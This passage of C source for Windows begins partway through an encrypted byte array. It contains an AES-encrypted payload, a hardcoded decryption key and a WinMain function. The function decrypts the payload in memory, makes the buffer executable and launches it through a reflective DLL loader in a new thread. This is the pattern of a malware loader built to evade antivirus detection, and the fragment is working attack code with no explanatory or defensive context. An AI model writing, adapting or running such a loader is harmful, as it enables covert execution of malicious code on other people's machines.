0xc5, 0xa2, 0x23, 0xb, 0xc2, 0x4d, 0xab, 0x2e, 0xb5, 0x68, 0xc3, 0xff, 0x4e, 0x9, 0xcd, 0xf2, 0xb3, 0x5e, 0xc8, 0x4b, 0xd3, 0x52, 0x17, 0xf, 0xbc, 0xc4, 0x97, 0x6, 0x48, 0x15, 0x87, 0xb0, 0xe5, 0x33, 0xe2, 0xd5, 0xac };
unsigned char key[] = { 0xd5, 0x80, 0xaf, 0xf1, 0x6c, 0x14, 0x1a, 0x3a, 0xcf, 0x9e, 0x43, 0x3a, 0x1b, 0xa2, 0x49, 0x62 };

//int main(void){
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {

	void* exec_mem;
	BOOL rv;
	HANDLE th;
	DWORD oldprotect = 0;
	DWORD RefLdrOffset = 0;
	unsigned int payload_len = sizeof(payload);

	// Allocate memory for payload
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	// Decrypt payload
	AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

	// Copy payload to allocated buffer
	RtlMoveMemory(exec_mem, payload, payload_len);

	// Make the buffer executable
	rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);

	RefLdrOffset = GetReflectiveLoaderOffset(payload);
	// If all good, launch the payload
	if (rv != 0) {
		th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)((ULONG_PTR)exec_mem + RefLdrOffset), 0, 0, 0);
		Sleep(5000); // give ReflectiveLoader time to perform the parsing and loading the DLL into memory.
		WaitForSingleObject(th, INFINITE);
	}

}